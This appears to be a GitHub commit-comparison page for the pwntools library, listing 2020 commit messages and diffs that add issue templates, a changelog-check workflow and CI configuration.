Compare commits

...
178 Commits
Author SHA1 Message Date
Arusekk 5db149adc2 Release 4.3.0 2020-10-20 17:39:40 +02:00
Arusekk ddb5798b8c Merge branch 'stable' into beta 2020-10-20 15:53:07 +02:00
Arusekk f1624dc8ac Release 4.2.2 2020-10-20 15:21:59 +02:00
Arusekk a824e83bcb Only require changelog if major changes present 2020-10-20 14:57:36 +02:00
Arusekk dff2e807cd Fix udp socket server AttributeError (#1706)
Closes #1690
2020-10-20 14:29:54 +02:00
Arusekk b8ca473a39 Use descriptive workflow names 2020-10-20 12:17:58 +02:00
lucasgandArusekk 09541e042b [elf.py] convert linux string banner into an actual str (#1700)
* [elf.py] convert linux string banner into an actual str 

``self.string(address)`` actually return a bytes object containing the raw bytes, not a string in a pythonesque sense !
Since quite some time on Python3, ``re.search`` only works on proper str so we need to convert it before feeding it to ``re.search``

``.decode()`` works both on Python2 and Python3

* Update kernel ELF handling

Co-authored-by: Arusekk <[email protected]>
2020-10-17 16:10:22 +02:00
James O'NealandJames O'Neal dd92ca6c61 Fix broken shellcraft linux templates (#1699)
* fixing broken linux templates

* adding change to changelog

Co-authored-by: James O'Neal <[email protected]>
2020-10-13 14:13:21 +02:00
Teddy Heinen 5e279e7993 fix #1684 (ROP gadget loading fails when it matches "add esp, esi") (#1686)
* fix ROP gadget loading when binary contains a gadget with add rsp, <register>

* add documentation regarding the fact that loading gadget "add $sp, <reg>" will fail
2020-09-27 11:55:39 +02:00
Jonas 846f98294f Change lookup algorithm of adb.which (#1663)
* Change lookup algorithm of `adb.which`.

This is done because the current algorithm does not work when the binary (e.g. `su`) is installed in the last element of $PATH.

Example:

```shell
$ echo $PATH
/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin
$ echo $PATH | while read -r -d: directory; do
>     echo  "$directory/su";
> done
/sbin/su
/vendor/bin/su
/system/sbin/su
/system/bin/su
$ (IFS=:
>   for directory in $PATH; do
>       echo "$directory/su";
>   done
> )
/sbin/su
/vendor/bin/su
/system/sbin/su
/system/bin/su
/system/xbin/su
```

* Update CHANGELOG
2020-08-24 17:19:09 +02:00
peace-maker f227796a09 Fix detection of WSL2 to open new terminal (#1646)
The osrelease is e.g., `4.19.104-microsoft-standard` in WSL2. microsoft being lowercase. Ignore casing for detection.
2020-07-25 10:36:14 +02:00
Arusekk baa4fc5a9f Merge branch 'stable' into beta 2020-07-11 16:12:03 +02:00
ArusekkandHeap Crash 78df70c986 Inform GDB of file when using QEMU (#1630)
* Inform GDB of file when using QEMU

Fixes #1625

* Sync CHANGELOG from dev + version bump

Co-authored-by: Heap Crash <[email protected]>
2020-07-11 15:58:16 +02:00
heapcrash 53ecb27948 [six] Add missing imports to six 2020-07-10 12:09:57 -05:00
Arusekk b5de88e118 [ci] Look for merge conflict markers commited (#1623)
Inspired by #1606
Fixes #1622
2020-07-09 23:08:08 -05:00
Arusekk 8b1c25f441 Fix python2 regression from #1608 (#1629)
Closes #1627
2020-07-05 18:49:10 -05:00
heapcrash db0312e0fe Merge branch 'stable' into beta-staging 2020-07-03 19:48:48 -05:00
heapcrash 7b130aec79 [4.3.0] dev is now beta 2020-07-03 19:24:47 -05:00
heapcrash 2e61a6be7f [release] 4.2.0 is now "stable" 2020-07-03 19:10:40 -05:00
heapcrash 13960bac08 Merge branch 'beta' into dev 2020-07-03 19:08:00 -05:00
heapcrash 7647ea6ca9 [ci] Remove failing testsetup block 2020-07-03 18:49:07 -05:00
heapcrash 21215ac22f [gha] Remove canary test for skipif section 2020-07-03 18:47:56 -05:00
heapcrash 3390eafab3 [doctest] Try testsetup / failing doctest 2020-07-03 18:37:52 -05:00
heapcrash 1cc5deca50 [gha] Add doctest to verify that skipif works 2020-07-03 18:11:45 -05:00
heapcrash bae22da550 Merge branch 'stable' into beta 2020-07-03 17:32:35 -05:00
Kyle Zeng 230a42ffc0 OSError is not subscriptable (#1608) 2020-07-02 22:37:20 +02:00
Heap Crash 31465d7570 Permit negative indices in fit() and flat() (#1621)
* [packing] Support negative indices for flat() and fit()

Fixes #1531

* [changelog] Add Changelog for PR

* [packing] Only take negative path if there are any

min([]) is not valid Python

* [packing] Move out_negative to a higher scope
2020-06-30 02:02:36 -05:00
heapcrash cc6d272760 [release] Version bump to 4.1.7 2020-06-30 00:26:37 -05:00
heapcrash 07c7dd6242 Merge branch 'beta' into dev 2020-06-29 23:56:01 -05:00
heapcrash 6443d82835 Merge branch 'stable' into beta 2020-06-29 23:53:30 -05:00
Heap Crash 8d0745628c [stable] Fix incorrectly-merged code (#1620)
* [stable] Fix incorrectly-merged code

* [aarch64] Use byte-strings instead of strings

* [aarch64] Have different tests for str vs bytes

* [aarch64] Convert all items to binary before processing

* [aarch64] Fix doctest results

* [aarch64] Stopgap to fix Py3 CI tests

* [aarch64] Remove failing test, will address in a future release
2020-06-29 23:52:44 -05:00
heapcrash 6f8319519b Merge branch 'beta' into dev 2020-06-29 20:22:46 -05:00
heapcrash fcfce6ca67 Merge branch 'stable' into beta 2020-06-29 20:21:52 -05:00
Heap Crash 4c2fba6912 [aarch64] Fix aarch64.pushstr and pushstr_array (#1618)
* [aarch64] Fix aarch64.pushstr and pushstr_array

* pushstr
  * We were pushing the correct values, and each 16-byte span was correct, but the 16-byte segments were ordered wrong

* pushstr_array:
  * Was entirely broken.  This commit has a non-optmimized version but it works

Closes #1549
2020-06-29 20:20:52 -05:00
heapcrash 3469f4a4f7 [changelog] Fix release schedule 2020-06-27 20:33:27 -05:00
heapcrash b22e3e611d [changelog] Fix release schedule 2020-06-27 20:33:12 -05:00
Heap Crash 3be97b7ab5 [pwn template] Permit --password in addition to --pass (#1613)
* [pwn template] Permit --password in addition to --pass

* Add to CHANGELOG
2020-06-27 20:31:19 -05:00
Heap Crash 1a9dce025f [asm] Fix disasm() for mips64, powerpc64, sparc64 (#1603)
* [asm] Fix disasm() for mips64, powerpc64, sparc64

Closes #1564

* [asm] Add tests for disasm on mips/powerpc/sparc 64-bit

* [asm] Find powerpc, sparc, mips utilities even for 64-bit variants

* [asm] Remove leftover debug trace

* [ci] Add Sparc64 binutils

* [changelog] Add entry
2020-06-27 20:30:49 -05:00
heapcrash cbb57c0148 [example] Add ssh.process to example code 2020-06-27 19:24:34 -05:00
Arusekk 92810cbeb2 Follow-up after #1611 2020-06-28 01:22:15 +02:00
Arusekk 039f2439b5 Don't pollute global namespace
Fixes #1611
2020-06-28 01:16:13 +02:00
Arusekk a190726caf Type fix 2020-06-28 01:13:32 +02:00
heapcrash 745f8e7716 Merge branch 'beta' into dev 2020-06-27 15:52:49 -05:00
heapcrash 21c7864b79 Merge branch 'stable' into beta 2020-06-27 15:52:16 -05:00
Heap Crash 0acf366070 [flag] Fix packing.flat for filler=b'AB' (#1612)
Fixes #1517
2020-06-27 15:49:34 -05:00
heapcrash a3bf833a9a Merge branch 'beta' into dev 2020-06-26 18:06:21 -05:00
heapcrash 8cd4d2b589 Merge branch 'stable' into beta 2020-06-26 18:05:32 -05:00
Heap CrashandArusekk 568af5b7d6 Fix features in pack() and add more doctests (#1610)
* [packing] Better alternative to #1580

pack() was failing for dictionaries that are not ordered

Closes #1582
Closes #1579

* [docs] Add better documentation for flat()

* [changelog] Add 4.1.4

* [release] Bump version to 4.1.4

Co-authored-by: Arusekk <[email protected]>
2020-06-26 18:03:59 -05:00
Heap Crash f2cb7babcf [docker] Get Travis CI dockerfile working more (#1607)
* [docker] Get Travis CI dockerfile working more

* [docker] Do not upgrade all packages, only update if required

* [docker] Move requirements installation higher up before the copy
2020-06-26 17:22:26 -05:00
Saullo Carvalho Castelo Branco ce0966d186 Add to fiddling.hexdump a way to suppress the total at the end (#1605)
* Add `total=` argument to `hexdump` and `hexdump_iter`

* Update `hexdump` docstring

* Add PR to CHANGELOG.md
2020-06-24 11:44:14 +02:00
Jiaming Yi e3a7515f81 Update binutils.rst (#1604)
Update the path to binutils-$ARCH.rb file for Macos.
2020-06-23 21:47:38 -05:00
heapcrash d143af398e Merge branch 'beta' into dev-staging 2020-06-23 20:56:10 -05:00
Heap Crash a1b0ff6b29 Fix extremely verbosel logging of environment when no changes were made (#1592)
* Fix extremely verbosel logging of environment when no changes were made

* [changelog] Update changelog for #1592

Fixes #1448
2020-06-23 11:05:58 -05:00
Heap Crash 1b130cfe5d [ci] Delete foo-staging branch after merging and pushing foo (#1600) 2020-06-23 11:04:55 -05:00
Arusekk c3e39f57f8 Code style enhancements and less sphinx warnings (#1570)
* Fix several sphinx warnings

* Several code style fixes

Mostly grep -Er '[=!]= (None|True|False)'

* Compile-time str concat

also reduced redundant characters at line ends

* Fix python2 toplevel regression

* No equality comparison with singletons again

* Clarification: lambda: [] is just list

* Reintroduce reverted fragment
2020-06-23 11:04:19 -05:00
heapcrash ede4ed13e0 [ci] Add NOTERM to invocation 2020-06-23 11:03:16 -05:00
heapcrash 316cf359c1 [pwn version] Include branch name in output 2020-06-23 11:03:16 -05:00
heapcrash 343dff5c51 [changelog] Update dev changelog 2020-06-23 11:03:16 -05:00
heapcrash a0d61dcea5 [ci] Add "pwn version" step during CI 2020-06-23 11:03:16 -05:00
heapcrash f02e5b5e45 [pwn[ Add "pwn version" command to show installed version 2020-06-23 11:03:16 -05:00
heapcrash 871afd1188 Merge branch 'stable' into beta 2020-06-23 01:50:55 -05:00
heapcrash 47c9cfe4eb [release] Update to version 4.1.3 2020-06-23 01:33:12 -05:00
heapcrash 642fcb0b29 [docs] Add doctest for ssh.process(..., timeout=) 2020-06-23 01:31:49 -05:00
heapcrash 89d73c8047 [ssh] Fix timeout issue with ssh.process()
Also has documentation enhancements for SSH module

Fixes #1591
2020-06-23 01:31:49 -05:00
heapcrash c293318cbd [ci] Re-enable Corefile tests on Github Actions 2020-06-22 23:52:48 -05:00
heapcrash ddf5cdcb3f [docker] Update Docker images to use Bionic 2020-06-22 22:23:58 -05:00
heapcrash 761d446fa3 Add to changelog 2020-06-22 20:18:17 -05:00
heapcrash 5e012ebf95 [ui] Colorize output of "pwn template" if it is a TTY 2020-06-22 20:18:17 -05:00
heapcrash 7d6cb3f61f Merge branch 'beta' into dev
Conflicts:
	CHANGELOG.md
	pwnlib/util/proc.py
2020-06-21 20:59:23 -05:00
heapcrash 6c0017e617 [ci] Fix error with "name" vs "global name" bar 2020-06-21 20:37:10 -05:00
heapcrash 0f2f91a29d Merge branch 'stable' into beta
Conflicts:
	pwnlib/gdb.py
	pwnlib/tubes/ssh.py
	pwnlib/util/proc.py
2020-06-20 19:40:29 -05:00
Arusekk e8b4f0b07f [ci] Increase coverage of commandline tools 2020-06-20 19:36:57 -05:00
heapcrash c0202f9c65 [ci] Fix backported test to work with stable 2020-06-20 19:36:57 -05:00
heapcrash ddab95e5cb [docs] Update FmtStr documentation to use pre-compiled binary 2020-06-20 19:36:57 -05:00
heapcrash f4ab2d2700 [shellcraft] Backport CI changes from dev to stable 2020-06-20 19:36:57 -05:00
heapcrash aad7eb9241 [ci] Add libc6-dbg to requirements 2020-06-20 19:36:57 -05:00
heapcrash 2f9f759839 [ci] Backport CI scripts from dev branch 2020-06-20 19:36:57 -05:00
heapcrash 3934a04536 [gdb] Fix automatic debugging for listen, remote, and ssh
* sock-based GDB connections didn't set the PID, so it didn't work
  * Now uses a real Timeout object
  * Added special case handling for socat, since we were attaching to the wrong process
* ssh-based doctests improved
  * Works locally on everything I tested
  * One test is ignored, since it doesnt work on Travis CI
  * Added libc6-dbg to Github Actions
* run_in_new_terminal supports unicode strings now
  * This fixes SSH-based debugging
* wait_for_debugger now has a timeout
  * Fixes the case where the debugger never comes up, mostly for tests
2020-06-20 19:36:57 -05:00
Saullo Carvalho Castelo Branco a414d788fe Add PR #1576 to CHANGELOG.md (#1588) 2020-06-17 20:51:41 -05:00
Saullo Carvalho Castelo Branco 4134e60c8d Add jmp_esp/jmp_rsp attribute to ROP (#1584) 2020-06-17 15:51:20 -05:00
heapcrash 88084975ad [GHA] Add workflow to require modifications to CHANGELOG.md 2020-06-16 19:31:01 -05:00
heapcrash 4b14e27523 Ask users to update the changelog in the Pull Request template 2020-06-16 19:31:01 -05:00
heapcrash 45eb8bcc81 Re-enable UI tests in Github Actions
I suspect this will not work because of curses failing to initialize in GHA
2020-06-15 23:28:47 -05:00
Arusekk 8b6e6ed67d Enhance py2 32-bit archs support
This was a quick `grep -r isinstance | grep '\<int\>'`
2020-06-15 23:28:32 -05:00
Arusekk 18a7a9458c Ensure tag matches files version 2020-06-15 23:14:03 -05:00
Arusekk 3cca881881 Cyclic CLI functionality 2020-06-15 23:12:29 -05:00
Arusekk 2a68da3dad More coverage 2020-06-15 23:12:29 -05:00
Arusekk 9f5b24d889 Move socket matching to util.net. 2020-06-15 23:12:15 -05:00
Arusekk e9b24a6159 Add support fox mixed-stack connections in proc 2020-06-15 23:12:15 -05:00
Arusekk 39a3b2e8ff Use dual-stack sockets when family is 'any'
Also a minor cleanup in sock.py.
Tested on Linux and FreeBSD.
Closes #1552
2020-06-15 23:12:15 -05:00
ShiftCrops 09caa4ba63 add ".plt.sec" to search section (#1577)
* add .plt.sec to search section

* add test ELFs for .plt.sec
2020-06-14 12:13:00 +02:00
heapcrash 3d76872a28 Reset context so packing works as expected 2020-06-13 19:50:28 -05:00
heapcrash 92aa3d3c16 Add additional workaround for Python2 2020-06-13 19:50:28 -05:00
heapcrash f36bbecc6e Add mixed-ordering test 2020-06-13 19:50:28 -05:00
heapcrash 1a66766c30 Add tests for mis-ordered cyclic fields 2020-06-13 19:50:28 -05:00
heapcrash 74560c80e6 Sort dictionary fields before attempting to flatten them
Fixes #1579
2020-06-13 19:50:28 -05:00
Saullo Carvalho Castelo Branco a0eeb30e0b Add executable= argument to ELF.search (#1576)
* Add `executable=` argument like `writable=` to ELF.search

* Add doctest using ELF.search with `executable = True`

* Fix `__next__()` issue.
2020-06-11 22:10:06 +02:00
jlewis200andArusekk f1628b80fe Update pwnlib/gdb.py
Identity comparison

Co-authored-by: Arusekk <[email protected]>
2020-06-07 19:05:34 -05:00
jlewis200 5c65b8a03e gdb.debug() environment variables fix
If passed an empty dictionary defining the environment variables, the process invoked by gdb.debug() has environment variable 'PWD' set to the directory containing the executable.  This behaviour is not observered when NOPTRACE is enabled:  the program runs without any environment variables set.  Similarly, if an empty environment variable dictionary is passed to process(), it appears to also run under a truly empty environment.  Additionally, attempts to overwrite the "PWD" environment variable with a dictionary entry are not successful under gdb.debug().

This fix brings the gdb.debug() treatment of environment variables in line with and process() and gdb.debug() with NOPTRACE enabled. 
 It allows both empty environments, and overwriting of the 'PWD' environment variable.
2020-06-07 19:05:34 -05:00
heapcrash c2a61b30db [README] Update Twitter badge to include follower count 2020-06-07 14:01:00 -05:00
heapcrash 82a7074d86 [README] Add Coveralls badge logo 2020-06-07 13:58:56 -05:00
heapcrash 8a21b0306d [README] Urlencode badge URL 2020-06-07 13:57:40 -05:00
heapcrash c0afb8ef29 [README] Add Travis logo to Travis CI build badge 2020-06-07 13:56:16 -05:00
heapcrash baed2d5bbc [README] Add Github Workflow status badge 2020-06-07 13:54:02 -05:00
heapcrash cccbc4555c [docs] Add Ubuntu 20.04, remove 12.04 2020-06-07 13:18:38 -05:00
heapcrash df3835a611 [docs] Version should come before docs 2020-06-07 13:17:23 -05:00
heapcrash 758b86c4b0 [docs] Reformat filepointer documentation 2020-06-07 13:15:52 -05:00
heapcrash 16f8c419bc Remove unused update_demo.sh script 2020-06-07 12:27:26 -05:00
heapcrash 1eca50e421 [changelog] Update 4.1.2 2020-06-07 12:24:52 -05:00
heapcrash d2e84c1a30 [travis] Update CI image in README.md 2020-06-07 12:21:49 -05:00
heapcrash 1c1615da2f [docs] Update FmtStr documentation to use pre-compiled binary 2020-06-06 17:58:44 -05:00
heapcrash cb4e01b4df [docs] Make the ret2dlresolve documentation useful 2020-06-06 17:58:44 -05:00
heapcrash 00f65f2c53 [docs] Remove compilation step from ret2dlresolve 2020-06-06 17:58:44 -05:00
heapcrash ac2522fe91 [GHA] Remove dependencies on cross-arch compilers 2020-06-06 17:58:44 -05:00
heapcrash 82f20b28cf [travis] Use gcc-multilib for i386/amd64 compilation 2020-06-06 17:58:44 -05:00
heapcrash fd8ed5883e [travis] Enable IPv6 interfaces, fixes net.interfaces() test 2020-06-06 17:58:44 -05:00
heapcrash 5fea8d25a8 [docs] Fix __doc__ block indentation 2020-06-06 17:58:44 -05:00
heapcrash 01fb378320 [docs] Fix warnings generated during "make doctest" 2020-06-06 17:58:44 -05:00
heapcrash 3f8c92b233 [docs] Silence warning generated by Sphinx about missing code-block language 2020-06-06 17:58:44 -05:00
heapcrash c846f94c8e [shellcraft] Update loader_append examples to build ELFs on the fly
This removes our dependencies against having various compilers installed
2020-06-06 17:58:44 -05:00
Jakub Kądziołka a5bf7c50f4 Make AVR's binutils detection strategy a fallback for all architectures 2020-06-06 14:45:47 -05:00
Jakub Kądziołka 8066b2353b Specify the _bfdname for AVR 2020-06-06 14:45:47 -05:00
Jakub Kądziołka b81c61cae4 Detect AVR binutils
Both Debian and Ubuntu provide a `binutils-avr` package, which contains
an assembler for AVR as `avr-as`. However, pwntools was looking for
something with `linux` in the name, such as `avr-linux-gnu-as`. Of course,
such a target triplet is nonsense, Linux does not run on AVRs
(apart from that one hack that actually emulated some other CPU which
therefore doesn't count).
2020-06-06 14:45:47 -05:00
heapcrash 54d3f674e1 [GHA] Move the lint step to its own workflow 2020-06-05 20:53:19 -05:00
heapcrash 14f5ab6b90 Merge branch 'beta' into dev 2020-06-05 20:26:07 -05:00
heapcrash aec8d9ea9f Merge branch 'stable' into beta-staging 2020-06-05 20:24:45 -05:00
heapcrash 72a93f7a3c [Travis] Make Travis CI work with some newly-added doctests 2020-06-05 20:21:21 -05:00
heapcrash c520efca42 [GHA] Use travis/ssh_setup.sh for SSH configuration
This creates the 'travis' user required for CI

Updated tests in ssh.py to reflect the change
2020-06-05 20:21:21 -05:00
heapcrash a743ccc7fe [GHA] Clone entire repo and print the history 2020-06-05 20:21:21 -05:00
heapcrash 0eb7fdbd88 [GHA] Disable extremely verbose Flake8 tests that make Travis CI hard to read 2020-06-05 20:21:21 -05:00
heapcrash ec4cc53bd0 [GHA] Pull updated CI steps from "dev" 2020-06-05 20:21:21 -05:00
heapcrash 99d3cd708f Version bump 2020-06-05 20:21:21 -05:00
heapcrash 0ee2939a9d Add six >= 1.12.0 to requirements 2020-06-05 20:21:21 -05:00
Heap Crash 555dec78d9 Recommend people use "pip install --upgrade pwntools" (#1558)
We should not encourage most users to use the `dev` branch
2020-06-05 23:07:16 +02:00
heapcrash 267879c91a Set timeout to 30 minutes 2020-06-05 14:34:49 -05:00
Arusekk 2d48220165 Enhance the tests 2020-06-05 11:05:04 +02:00
Arusekk 4d9242ae89 Merge branch 'beta' into dev 2020-06-05 10:50:59 +02:00
heapcrash fae86c3dec Remove demo link
Fixes #1495
2020-06-05 01:52:07 -05:00
heapcrash 24211219d8 Use tmux or screen if the environment variables are present, even if we detect an X11 terminal.
See #1261 for original comments
2020-06-05 01:47:16 -05:00
Yonghwi Jin 2c0d63b569 Cache iter_symbols and iter_sections 2020-06-05 01:41:35 -05:00
heapcrash e254c5fa62 Increase fetch depth to 100 to increase cache hits
AVD installation is one of the longest parts of the CI process
2020-06-05 01:20:19 -05:00
heapcrash aba16247b4 Add workaround for #1538 until Unicorn is fixed 2020-06-05 01:19:28 -05:00
Heap Crash 6fc0914dc0 Convert logging status messages to text (#1540)
Fixes #1510
2020-06-05 01:08:32 -05:00
Heap Crash 8137494932 Make Github Actions pass, even if we have to disable some things (#1546)
* Disable corefile tests for Github Actions

* Disable the UI tests, as theyre broken

* Install gdbserver

* Rename step

* Remove SIGALARM to see if it fixes tests

* Set PWNLIB_NOTERM for command-line runs
2020-06-05 00:41:48 -05:00
Arusekk 371ddc1f01 Fix cli tests 2020-06-04 11:28:27 +02:00
Arusekk baad3927b9 Merge branch 'beta' into dev 2020-06-04 00:00:35 +02:00
Arusekk f5c4a069b6 Hopefully working PyPI + doctests on cli tools 2020-06-03 23:56:51 +02:00
Arusekk 94647d6c10 Merge branch 'beta' into dev 2020-06-03 23:32:08 +02:00
Arusekk 441b0851c9 Merge branch 'stable' into beta 2020-06-03 23:14:47 +02:00
Arusekk 917ffd8667 Release 4.1.1 2020-06-03 23:08:35 +02:00
Arusekk 3ff46ff8d4 Fix cyclic (cf. #1518) 2020-06-03 22:41:30 +02:00
Arusekk 2fcc39eb6e Fix cyclic command under py3 2020-06-03 22:28:40 +02:00
Kyle Zeng ccb49abe35 several py2-py3 issues (#1451)
* in python3 pidof returns a generator

* make cyclic commandline work again
2020-06-03 22:28:29 +02:00
Bruce Chen 0a978df7bf Fix CHANGELOG.md (#1504)
* Fix bunch of invalid PR/commit link  
* Merge two 3.12.1 into one 3.12.1  
* Add 3.12.2
2020-06-03 22:27:06 +02:00
Tijani ad4c62b9fd Update about.rst (#1501)
Fix grammatical error
2020-06-03 22:01:14 +02:00
peace-makerandArusekk 21c9d00078 Fix updating of ELF.functions addresses after changing ELF.address #1512 (#1513)
`ELF.functions` wasn't updated after the binary base address was changed using `ELF.address` like `ELF.symbols` is. The documentation mentions `ELF.functions` getting updated as well, the update was missing though.

Closes #1512

Co-authored-by: Arusekk <[email protected]>
2020-06-03 20:20:22 +02:00
1b6393f381 Updated install documentation to reflect the README (#1430)
Co-authored-by: Arusekk <[email protected]>
Co-authored-by: heapcrash <[email protected]>
2020-06-03 19:27:31 +02:00
Heap CrashandArusekk 1f68bf6560 Update Corefile warnings and replace asserts with normal checks (#1526)
* Update Corefile warnings and replace asserts with normal checks

This means that most of the Corefile will still work, even if
we encounter issues while parsing data from the stack.

* Update pwnlib/elf/corefile.py

* Add missing return statement

Co-authored-by: Arusekk <[email protected]>
2020-06-03 19:10:39 +02:00
Arusekk 9706275a3d Auto-merging possible 2020-06-03 17:43:43 +02:00
Arusekk 8210bba2ab Try to make actions behave 2020-06-03 15:36:11 +02:00
Arusekk c0e4db94f1 Try pull before push 2020-06-03 08:06:03 +02:00
Arusekk 163c19dd49 Freeze unicorn (see #1538) 2020-06-03 00:57:28 +02:00
Arusekk c4c11a37f8 Fix random test regression 2020-06-02 21:59:51 +02:00
Arusekk 9b56b58f95 Auto-merge staging branches to protected ones 2020-06-02 21:10:54 +02:00
mauricesvp e1aedff092 remove unused argument and add missing documentation 2020-05-31 01:45:46 -05:00
Antinomique 8a2b77131e Repair download_dir 2020-05-29 15:23:00 -05:00
heapcrash b5dd858897 Update issue templates 2020-05-29 15:19:00 -05:00
heapcrash 70d42fb076 Update issue templates 2020-05-29 15:15:57 -05:00
heapcrash 9ede4b8eea Add "Question" issue template 2020-05-29 15:08:10 -05:00
laydervus d944a9ec68 __str__ to __bytes__ in python2 (#1521) 2020-05-29 11:50:38 +02:00
Jinmo bbd82ac6fe Initialize unicorn outside loop in plt emulation (#1515) 2020-05-28 23:17:01 +02:00
layderv 4439849d66 ROP representation with short chars (#1505)
Closes #1494
2020-05-28 15:33:13 +02:00
Sacha KOZMA 061d0fd953 Take numbwritten bytes into account in FmtString (#1471)
The number of bytes already written is now taken into account when executing format string writes.
2020-05-27 23:06:46 +02:00
Bruce Chen 43c4eef53b Fix CHANGELOG.md (#1504)
* Fix bunch of invalid PR/commit link  
* Merge two 3.12.1 into one 3.12.1  
* Add 3.12.2
2020-05-27 22:14:20 +02:00
peace-maker ef40a31ac8 Support opening of new windows in WSL (#1503)
Detect if pwntools is running in a Windows Subsystem for Linux "VM" and set the terminal to open a new `cmd.exe` window on the host.

This replaces the need to add `context.terminal = ['cmd.exe', '/c', 'start', 'ubuntu', 'run']` to every script.

Debugging using `gdb.attach` under WSL with gdb in a new window out of the box!
2020-05-27 22:11:01 +02:00
Arusekk c4dd1c22ba Auto-uploading releases to PyPI 2020-05-08 17:10:05 +02:00
Arusekk 59ce329431 Begin working on 4.3.0 2020-05-08 14:27:09 +02:00
Adam O'Hara 3d4853f9a7 Fixed bug when rop.call() used sigreturn with string args (#1484)
Previously, the rop._srop_call function would append the args without checking whether their value would work
directly in a register. It now uses AppendedArgument to determine whether the value is pushed to the end of
the ROP chain.
2020-04-20 05:26:24 +02:00
135 changed files with 1708 additions and 830 deletions

No files matched your search

+54
View File
@@ -0,0 +1,54 @@
---
name: Bug report
about: Create a report to help us improve
title: ''
labels: backport-required, bug
assignees: ''
---
Thanks for contributing to Pwntools!
## Update Pwntools First
When reporting an issue, be sure that you are running the latest released version of pwntools (`pip install --upgrade pwntools`).
## Debug Output
Having the extra debug output really helps us, and might help you diagnose the problem yourself.
When submitting an issue that has output from Pwntools, make sure to run your script as shown below, to enable the extra debugging data.
```sh
$ python exploit.py DEBUG LOG_FILE=log.txt
```
You should see `[DEBUG]` statements that show what's happening behind the scenes:
```
[+] Starting local process '/bin/sh' argv=['sh'] : pid 16823
[DEBUG] Sent 0x7 bytes:
'whoami\n'
[DEBUG] Sent 0x5 bytes:
'exit\n'
[+] Receiving all data: Done (11B)
[DEBUG] Received 0xb bytes:
'crashheap\n'
[*] Process '/bin/sh' stopped with exit code 0 (pid 16823)
```
## Verify on Ubuntu
If possible, please verify that your issue occurs on 64-bit Ubuntu 18.04. We provide a Dockerfile based on Ubuntu 18.04 via `docker.io` to make this super simple, no VM required!
```sh
# Download the Docker image
$ docker pull pwntools/pwntools:stable
# Boot the image
$ docker run -it pwntools/pwntools:stable
pwntools@7dc3ef409476:~$ python
>>> from pwn import *
>>> # Test your code here
```
+18
View File
@@ -0,0 +1,18 @@
---
name: Feature request
about: Suggest an idea for this project
title: ''
labels: feature
assignees: ''
---
Thanks for contributing to Pwntools! Ideas from the community help make Pwntools an amazing tool for everybody.
If you've got an idea for a new feature, please provide information about:
* What the feature does
* Why the feature should exit
* What tests should be included
If you think you can write the feature yourself, please submit a Pull Request and we can review your changes!
+18
View File
@@ -0,0 +1,18 @@
---
name: Question
about: Ask us a question about Pwntools
title: ''
labels: question
assignees: ''
---
Thanks for using Pwntools! If you have a question, here are some tips that will make it easier for us to help you.
## Check the Documentation
Pwntools has REALLY extensive documentation. Please check there first! https://docs.pwntools.com
## Debug Output
If you're having an issue with an exploit, run your script with full debugging output, i.e. `python exploit.py DEBUG`. This may help you to see what's happening under the hood, and the debug output will help to diagnose any issues you're encountering.
+5
View File
@@ -25,3 +25,8 @@ You can always [change the branch][change] after you create the PR if it's again
[contributing]: https://github.com/Gallopsled/pwntools/blob/dev/CONTRIBUTING.md
[testing]: https://github.com/Gallopsled/pwntools/blob/dev/TESTING.md
[change]: https://github.com/blog/2224-change-the-base-branch-of-a-pull-request
## Changelog
After creating your Pull Request, please add and push a commit that updates the changelog for the appropriate branch.
You can look at the existing changelog for examples of how to do this.
+29
View File
@@ -0,0 +1,29 @@
name: Changelog
on: [pull_request]
env:
GITHUB_BASE: origin/${{ github.event.pull_request.base.ref }}
jobs:
build:
strategy:
matrix:
os: [ubuntu-latest]
runs-on: ${{ matrix.os }}
timeout-minutes: 5
steps:
- uses: actions/checkout@v2
with:
fetch-depth: 0
- name: Check changelog for updates
run: |
if git log --stat ${GITHUB_BASE}..HEAD | grep CHANGELOG.md; then
echo 'Changelog updated :D'
else
if git log --stat ${GITHUB_BASE}..HEAD | grep '++\|--'; then
echo 'Major changes detected, changelog required!'
false
else
echo 'Minor changes detected, no changelog required!'
fi
fi
+149 -37
View File
@@ -2,14 +2,21 @@ name: Continuous Integration
on: [push, pull_request]
jobs:
build:
test:
strategy:
matrix:
python-version: [2.7, 3.8]
os: [ubuntu-latest]
runs-on: ${{ matrix.os }}
timeout-minutes: 30
steps:
- uses: actions/checkout@v2
with:
fetch-depth: 0
- name: Git History 2
run: git log --oneline --graph -10
- name: Cache for pip
uses: actions/cache@v1
id: cache-pip
@@ -17,60 +24,78 @@ jobs:
path: ~/.cache/pip
key: ${{ matrix.os }}-cache-pip
- name: Cache for dependencies
uses: actions/cache@v1
id: cache-deps
with:
path: android-?dk
key: ${{ matrix.os }}-cache-deps
- name: Set up Python ${{ matrix.python-version }}
uses: actions/setup-python@v1
with:
python-version: ${{ matrix.python-version }}
- name: Lint
- name: Verify tag against version
if: github.event_name == 'push' && startsWith(github.event.ref, 'refs/tags')
env:
GITHUB_REF: ${{ github.event.ref }}
run: |
pip install flake8
flake8 . --count --select=E9,F63,F7 --show-source --statistics --exclude=android-?dk # TODO: Add F82
flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics --exclude=pwnlib/constants,android-?dk,.git,__pycache__
set -x
GITHUB_TAG=${GITHUB_REF#refs/tags/}
echo "$GITHUB_TAG" | grep -E '^[0-9.]*(beta[0-9])?$'
vsetup=$(grep -o "version\\s*=\\s*[\"'].*[\"'],$" setup.py | grep -o "[0-9][^\"']*")
vpwnlib=$(grep -o "__version__\\s*=\\s*[\"'].*[\"']$" pwnlib/version.py | grep -o "[0-9][^\"']*")
[ "$vsetup" = "$vpwnlib" ]
[ "$GITHUB_TAG" = "$vsetup" ]
- name: Detect whether java is needed
id: java-needed
env:
GITHUB_REF: ${{ github.event.ref }}
GITHUB_COMMIT_RANGE: ${{ github.event.before }}...${{ github.event.after }}
run: |
if echo "$GITHUB_REF" | grep -Eq 'staging|tags'; then
echo "Found release or important branch ($GITHUB_REF), forcing tests."
elif ! git show "$GITHUB_COMMIT_RANGE" >/dev/null; then
echo 'Incorrect commit range, forcing android tests.'
elif git log --stat "$GITHUB_COMMIT_RANGE" | grep -iE 'android|\<adb\>'; then
echo 'Found Android-related commits, forcing tests.'
else
# clear files that cause Android doctests
: > docs/source/adb.rst > docs/source/protocols/adb.rst
exit 0
fi
echo ::set-output name=need::openjdk-8-jre-headless
- name: Install Linux dependencies
env:
ANDROID_JRE: ${{ steps.java-needed.outputs.need }}
run: |
sudo apt-get update
